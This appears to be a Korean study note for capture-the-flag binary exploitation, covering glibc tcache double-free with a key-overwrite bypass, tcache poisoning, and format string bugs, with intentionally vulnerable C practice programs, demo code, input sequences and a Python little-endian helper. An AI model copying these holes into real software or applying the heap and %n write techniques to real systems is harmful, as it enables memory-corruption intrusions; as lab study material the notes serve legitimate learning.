{ counts = "\000\000\000\000\001", '\000' <repeats 58 times>, entries = {0x0, 0x0, 0x0, 0x0, 0x555555756260, 0x0 <repeats 59 times>} }
값이 들어가 있음 - 그 후 초기화 되지 않은 변수(0x555555000060)에 0x16 이상의 데이터 입력 시
next
를 넘어key
값이 변조 됨. - Double Free 보호기법 우회
// Name: tcache_dup.c
// Compile: gcc -o tcache_dup tcache_dup.c
#include <stdio.h>
#include <stdlib.h>
int main() {
void *chunk = malloc(0x20);
printf("Chunk to be double-freed: %p\n", chunk);
free(chunk);
*(char *)(chunk + 8) = 0xff; // manipulate chunk->key Key값을 변조하여 우회
free(chunk); // free chunk in twice
printf("First allocation: %p\n", malloc(0x20));
printf("Second allocation: %p\n", malloc(0x20));
return 0;
}
메모리로 보기
// Name: double_free.c
// Compile: gcc -o double_free double_free.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include "prob.h"
typedef struct {
char content[0x10];
} Note;
Note *notes[4];
int main(void) {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
char cmd[2] = {0, };
int idx = 0;
while(1) {
printf("cmd > "); scanf("%1s", cmd);
printf("idx > "); scanf("%d", &idx);
if(idx < 0 || idx >= 4) {
puts("Invalid index");
continue;
}
switch(cmd[0]) {
case '1':
notes[idx] = (Note *)malloc(sizeof(Note));
break;
case '2':
free(notes[idx]);
break;
case '3':
scanf("%15s", notes[idx]->content);
break;
case '4':
printf("%s\n", notes[idx]->content);
break;
default:
break;
}
}
}
1
note[0]
에 메모리 할당 후 해제
cmd > 1
idx > 0
cmd > 2
idx > 0
2
해제됐지만 초기화는 안된 note[0]
에 9바이트만큼 입력 후 한번 더 Free 시 더블 Free 됨.
cmd > 3
idx > 0
> AAAAAAAAA
cmd > 2
idx > 0
Tcache Poisoning
Tcache poisoning은 중복으로 연결된 청크를 재할당하면, 그 청크가 해제된 청크인 동시에, 할당된 청크라는 특징을 가진다. 이러한 중첩 상태를 이용하면 공격자는 임의 주소에 청크를 할당할 수 있으며, 그 청크를 이용하여 임의 주소의 데이터를 읽거나 조작할 수 있다.
- 임의 주소 읽기를 통해 libc leak 수행
- 임의 주소 쓰기를 통해 원 가젯 주소 덮어쓰기
Format String
함수 이름이 ‘f’로 끝난다면 포맷 스트링을 처리하는 함수 일 수 있다.
%[parameter][flags][width][.precision][length][specifier]
Specifier
형식 지정자 | 설명 |
---|---|
d | 부호 있는 10진수 정수 |
u | 부호 없는 10진수 정수 |
s | 문자열 |
x | 부호 없는 16진수 정수 |
n | 해당하는 위치의 인자에 현재까지 사용된 문자열의 길이를 저장. 값을 출력하지 않음. |
p | void형 포인터 |
Width
최소 너비를 지정합니다. 치환되는 문자열이 이 값보다 짧을 경우, 공백 문자(' '
)를 문자열 앞에 패딩 해준다.
너비 지정자 | 설명 |
---|---|
정수 | 정수의 값만큼을 최소 너비로 지정합니다. |
* | 인자를 두 개 사용합니다. 첫 인자의 값만큼을 최소 너비로 지정해 두 번째 인자를 출력합니다. |
Length 출력하고자 하는 변수의 크기를 지정하며, d, n 등의 형식 지정자 앞에 쓰이며, 정수 값을 출력하고 싶으나 변수가 int 형이 아닌 경우에 주로 사용한다.
길이 지정자 | 설명 |
---|---|
hh | 해당 인자가 char 크기임을 나타냅니다. |
h | 해당 인자가 short int 크기임을 나타냅니다. |
l | 해당 인자가 long int 크기임을 나타냅니다. |
ll | 해당 인자가 long long int 크기임을 나타냅니다. |
Parameter
참조할 인자의 인덱스를 지정하며, 이 필드는 %[파라미터 값]$d
와 같이 값 뒤에 $
문자를 붙여 표기
printf("%2$d, %1$d\n", 2, 1); // "1, 2"
FSB (Format String Bug)
%p/%p/%p/%p/%p/%p/%p/%p 입력 시 x86-64의 함수 호출 규약에 따라 포맷 스트링을 담고 있는 rdi의 다음 인자인 rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+0x10] 이 출력된다.
// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c
#include <stdio.h>
int main() {
char format[0x100];
printf("Format: ");
scanf("%s", format);
printf(format);
return 0;
}
FSB-Read
printf()
에 들어간 포맷 스트링의 1~5번째 인자는 각각 rsi
, rdx
, rcx
, r8
, r9
에 적혀있는 값을 사용한다. 그리고 순차적으로 rsp
, rsp + 8
… 위치를 가져온다
// Name: fsb-easy.c
// Compile: gcc -o fsb-easy fsb-easy.c
#include <stdio.h>
#include <unistd.h>
#include "prob.h"
int main(void) {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
uint64_t flag = get_random();
char buf[32] = {0, };
printf("input: ");
read(0, buf, 31);
printf(buf);
}
flag
= 0x7fff0000ffb8
buf
= 0x7fff0000ffc0
buf
- flag
= 0x8
따라서 rsp + 8
위치를 가져오면 되므로 7번째 출력 값이 flag
값이다.
FSB-Write
%n
은 지금까지 출력된 문자의 개수를 해당 변수에 작성하므로 printf("%10c%n", a, b);
를 실행하면 b
에 0xa
가 적힌다.
// Name: fsb-easy.c
// Compile: gcc -o fsb-easy fsb-easy.c
#include <stdio.h>
#include <unistd.h>
#include "prob.h"
int main(void) {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
uint64_t auth = get_random();
char buf[64] = {0, };
printf("input: ");
read(0, buf, 63);
printf(buf);
}
%64c
를 통해 64글자 출력
%[offset]$n
으로 사용할 변수의 위치 지정
auth
주소를 스택에 적고 해당 주소를 변수로 하도록 “%n”에 전달하면 임의의 주소에 원하는 값을 작성할 수 있다.
이 때 “%n”은 이전까지 출력된 문자의 개수를 해당 메모리에 작성하므로 “%64c”에 의해 0x40
개를 작성한다.
$n
뒤에 적은 AAAAAAA
는 단순히 8 bytes의 스택 얼라인을 맞춰주기 위한 더미 문자이다.
Util
Little Endian 변환 코드
import binascii
def hex_lsb(hex_val):
hex_arr = []
hex_str_lsb = ''.join([hex_val[i-2:i] for i in range(len(hex_val), 0, -2)])
if len(hex_str_lsb)>16:
for i in range(len(hex_str_lsb), 0, -16):
chunk = hex_str_lsb[max(i-16, 0):i]
hex_arr.append(f"0x{chunk}")
else:
hex_arr.append(hex_str_lsb)
return hex_arr[::-1]
hex = b"/tmp/flag"
hex = str(binascii.hexlify(hex))
hex = hex[2:len(hex)-1]
print(hex_lsb(hex))